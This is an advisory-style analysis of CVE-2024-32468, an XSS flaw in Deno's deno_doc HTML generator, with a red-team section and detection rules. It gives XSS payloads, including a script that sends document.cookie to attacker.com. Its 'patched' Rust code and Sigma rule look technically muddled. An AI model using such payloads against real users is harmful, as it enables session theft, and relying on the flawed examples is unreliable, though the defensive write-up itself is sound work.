CVE-2024-32468

Executive Summary

CVE-2024-32468 identifies two cross-site scripting (XSS) vulnerabilities within the deno_doc crate, a component of the Deno runtime used for generating HTML documentation from JavaScript and TypeScript source code. The first vulnerability stems from the search_index.js file, which unsafely uses innerHTML to inject unsanitized HTML input. The second vulnerability arises from the lack of sanitization on property, method, and enum names when generating documentation pages. While the official advisory notes that deno doc --html is typically used locally with trusted packages, an attacker who can influence the source code being documented (e.g., via a malicious dependency or a compromised repository) could achieve Self-XSS against the developer running the documentation tool. The CVSS score of 5.4 (Medium) reflects the low attack complexity but the requirement for user interaction and the limited impact on confidentiality and integrity.

Supply Chain & Package Security

Deno is a runtime for JavaScript and TypeScript, and its deno_doc crate is a critical component in the developer toolchain. This vulnerability is particularly relevant to supply chain security because an attacker could inject malicious code into a package's source code (e.g., via a compromised dependency or a malicious pull request). When a developer runs deno doc --html on that package, the generated documentation would contain the XSS payload, potentially leading to credential theft, session hijacking, or further compromise of the developer's environment. The lack of a known patch at the time of analysis increases the risk for organizations that rely on Deno for documentation generation.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): Required – The victim must open the generated HTML documentation.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): Low – Limited information disclosure.
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): None – No impact on availability.

Threat Level: Medium. The vulnerability requires user interaction and is primarily a Self-XSS scenario, but it can be weaponized in supply chain attacks.

Deep Dive & Mechanics

The deno_doc crate is responsible for parsing JavaScript and TypeScript code and generating static HTML documentation. The two XSS vectors are:

1. XSS in search_index.js: The crate generates a JavaScript file (search_index.js) that is used for client-side search functionality. This file uses innerHTML to insert search results into the DOM. If the search index contains unsanitized HTML (e.g., from a malicious package name or description), an attacker can inject arbitrary JavaScript.

2. XSS via property, method, and enum names: When generating documentation pages, deno_doc directly inserts the names of properties, methods, and enums into the HTML without proper escaping. An attacker who controls the source code can embed malicious HTML/JavaScript in these identifiers.

The root cause is the lack of output encoding in the template rendering logic of deno_doc. The crate likely uses a Rust templating engine that does not automatically escape HTML, or the developers explicitly used innerHTML for performance reasons without sanitizing the input.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a conceptual comparison:

Vulnerable Code (Rust - deno_doc):

// In search_index generation
let search_html = format!("<div>{}</div>", search_result);
// Directly inserted into DOM via innerHTML

Patched Code (Conceptual):

// Use textContent instead of innerHTML
let search_element = document.create_element("div");
search_element.set_text_content(&search_result);
// Or use a templating engine with auto-escaping

For property names:

// Vulnerable
let property_html = format!("<span class='property'>{}</span>", property_name);
// Patched
let escaped_name = html_escape::encode_text(&property_name);
let property_html = format!("<span class='property'>{}</span>", escaped_name);

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Deno project with a malicious dependency or a crafted source file.
• The victim must run deno doc --html on the project and open the generated index.html.

Exploitation Steps:

1. Create a malicious JavaScript file (e.g., malicious.js) with an XSS payload in a property name:

   // malicious.js
   export class MaliciousClass {
     // Property name contains XSS payload
     ["<img src=x onerror=alert('XSS')>"]() {
       return "test";
     }
   }
   

2. Run deno doc --html malicious.js to generate documentation.
3. Open the generated index.html in a browser. The XSS payload will execute when the page loads.

Alternative Payload (for search_index.js):

• Modify the package description in deno.json to include:

  {
    "name": "malicious-package",
    "description": "<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"
  }
  

Blue Team

Detection:

• Monitor for unusual deno doc --html invocations on untrusted code.
• Use static analysis to detect unsanitized HTML in generated documentation files.
• Deploy Content Security Policy (CSP) headers on any server hosting generated documentation.

Hunting:

• Search for innerHTML usage in deno_doc source code.
• Look for generated search_index.js files containing raw HTML tags.

Indicators of Compromise (IOCs)

• File-based IOCs:
  • search_index.js containing <script> or onerror attributes.
  • HTML documentation files with unescaped < or > in property names.
• Network-based IOCs:
  • Outbound HTTP requests from a browser viewing Deno documentation to unknown domains.
• Behavioral IOCs:
  • Unexpected JavaScript execution when opening deno doc --html output.

Detection Engineering

YARA Rule

rule CVE_2024_32468_Deno_Doc_XSS {
    meta:
        description = "Detects XSS indicators in deno_doc generated files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-32468"
    strings:
        $innerHTML = /\.innerHTML\s*=\s*[^;]*\+/ nocase
        $unsanitized_prop = /<span[^>]*class=['\"]property['\"][^>]*>.*?<script/i
        $search_xss = /search_index\.js.*?innerHTML/i
    condition:
        any of them
}

Sigma Rule

title: Deno Doc HTML XSS via Unsanitized Input
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential XSS in deno_doc generated HTML files
author: Valters IT
date: 2025-04-10
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|endswith: '.html'
        TargetFilename|contains: 'deno_doc'
        # Look for unescaped HTML in property names
        TargetFilename|contains: 
            - '<img'
            - '<script'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of HTML in documentation (unlikely)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-32468 Deno Doc XSS Attempt"; flow:to_server,established; content:"deno_doc"; http_uri; content:"search_index.js"; http_uri; content:"innerHTML"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Avoid using deno doc --html on untrusted code until a patch is released.
2. Manually sanitize generated documentation by running a script to escape HTML entities in search_index.js and property names.
3. Use a Content Security Policy (CSP) when serving generated documentation to block inline scripts.

Long-term Fix:

• The Deno team should update deno_doc to use textContent instead of innerHTML and apply HTML escaping to all user-controlled identifiers.
• Implement a security review of the templating engine used in deno_doc.

Workaround:

• Use deno doc --json instead of --html and generate documentation with a secure third-party tool.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst